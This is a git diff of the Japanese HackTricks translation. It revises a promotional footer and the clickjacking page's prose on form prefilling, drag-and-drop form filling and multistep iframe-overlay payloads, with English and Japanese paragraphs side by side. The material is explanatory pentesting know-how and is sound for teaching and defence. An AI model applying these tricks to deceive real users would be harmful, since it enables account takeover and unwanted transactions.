\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**することができます。\ @@ -218,8 +218,8 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -* [**公式のPEASS&HackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index 558f731da..6fdbcc2eb 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -12,7 +12,7 @@ -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して**自動化**します。\ @@ -22,15 +22,15 @@ ## クリックジャッキングとは -クリックジャッキングは、**ユーザー**が**見えない**または他の要素に偽装されたウェブページの**要素**を**クリック**するように**だます**攻撃です。これにより、ユーザーは知らずにマルウェアをダウンロードしたり、悪意のあるウェブページを訪れたり、資格情報や機密情報を提供したり、お金を送金したり、オンラインで商品を購入したりすることがあります([ここから](https://www.imperva.com/learn/application-security/clickjacking/))。 +クリックジャッキングは、**ユーザー**を**騙して**別の要素として**見えない**または別の要素として偽装されたウェブページの**要素**を**クリック**させる攻撃です。これにより、ユーザーは知らずにマルウェアをダウンロードしたり、悪意のあるウェブページを訪れたり、資格情報や機密情報を提供したり、お金を送金したり、オンラインで商品を購入したりすることがあります([ここから](https://www.imperva.com/learn/application-security/clickjacking/))。 ### フォームの事前入力トリック 時には、ページの読み込み時にGETパラメータを使用してフォームのフィールドの値を**自動的に入力**することができます。攻撃者はこの動作を悪用して、フォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにします。 -### ドラッグ&ドロップでフォームを入力 +### ドラッグ&ドロップでフォームを入力する -ユーザーにフォームを**入力**してもらいたいが、特定の情報(メールアドレスや特定のパスワードなど)を直接尋ねることはしたくない場合、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように、制御されたデータを書き込むものを**ドラッグ&ドロップ**するように依頼することができます。 +ユーザーに**フォームの入力**を求める必要がありますが、特定の情報(メールアドレスや特定のパスワードなど)を直接尋ねることはしたくない場合は、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように、制御されたデータを書き込むものをドラッグ&ドロップするだけで済ませることができます。 ### 基本的なペイロード ```markup @@ -56,19 +56,19 @@ z-index: 1; In some cases, a simple clickjacking attack may not be enough to achieve the desired outcome. In such situations, a multistep payload can be used to execute a series of actions on the victim's behalf. -いくつかの場合において、単純なクリックジャッキング攻撃では望ましい結果を得ることができないことがあります。そのような状況では、マルチステップペイロードを使用して、被害者の代わりに一連のアクションを実行することができます。 +以下の場合、単純なクリックジャッキング攻撃では望む結果を得ることができない場合があります。そのような状況では、マルチステップペイロードを使用して、被害者の代わりに一連のアクションを実行することができます。 -The multistep payload involves embedding multiple iframes within iframes, each containing a specific action to be performed. By carefully orchestrating the sequence of actions, an attacker can trick the victim into unknowingly performing actions that they did not intend to. +The idea behind a multistep payload is to trick the victim into performing multiple actions without their knowledge. This can be achieved by overlaying multiple transparent iframes on top of each other, each containing a different target website. By carefully orchestrating the sequence of actions, an attacker can make the victim unknowingly perform actions such as clicking on buttons, submitting forms, or even making financial transactions. -マルチステップペイロードでは、特定のアクションを含む複数のiframeをiframeに埋め込むことが含まれます。アクションのシーケンスを注意深く組み立てることで、攻撃者は被害者を騙して意図しないアクションを実行させることができます。 +マルチステップペイロードのアイデアは、被害者が自分の知識を持たずに複数のアクションを実行するように騙すことです。これは、透明な複数のiframeを重ね合わせ、それぞれが異なるターゲットのウェブサイトを含んでいることで実現できます。アクションのシーケンスを注意深く組み立てることで、攻撃者は被害者に対して、ボタンのクリック、フォームの送信、さらには金融取引などのアクションを無意識に実行させることができます。 -To implement a multistep payload, the attacker needs to identify the sequence of actions required to achieve their goal. They then create iframes for each action and embed them within each other, ensuring that the victim's clicks are redirected to the desired targets. +To create a multistep payload, the attacker needs to identify the target actions they want the victim to perform. They then need to carefully design the sequence of iframes and actions to achieve their goal. This may involve analyzing the target website's structure and functionality to understand how to manipulate it effectively. -マルチステップペイロードを実装するために、攻撃者は目標を達成するために必要なアクションのシーケンスを特定する必要があります。それから、各アクションに対してiframeを作成し、互いに埋め込みます。これにより、被害者のクリックが目的のターゲットにリダイレクトされるようにします。 +マルチステップペイロードを作成するには、攻撃者は被害者に実行させたいターゲットのアクションを特定する必要があります。その後、目標を達成するために、注意深くiframeとアクションのシーケンスを設計する必要があります。これには、ターゲットのウェブサイトの構造と機能を分析して、効果的に操作する方法を理解することが含まれる場合があります。 -It is important to note that multistep payloads can be more complex and may require additional techniques such as framebusting or other countermeasures to prevent detection and mitigation. +It's important to note that multistep payloads can be more complex and may require additional techniques such as event listeners, JavaScript injections, or even exploiting vulnerabilities in the target website's code. The success of a multistep payload relies on the attacker's ability to understand the target website's behavior and manipulate it accordingly. -マルチステップペイロードはより複雑であり、検出と緩和を防ぐためにフレームブレーキングやその他の対策などの追加のテクニックが必要な場合があることに注意してください。 +マルチステップペイロードはより複雑であり、イベントリスナーやJavaScriptのインジェクション、さらにはターゲットのウェブサイトのコードの脆弱性を悪用するなどの追加のテクニックが必要な場合があることに注意してください。マルチステップペイロードの成功は、攻撃者がターゲットのウェブサイトの動作を理解し、それに応じて操作する能力に依存します。 ```markup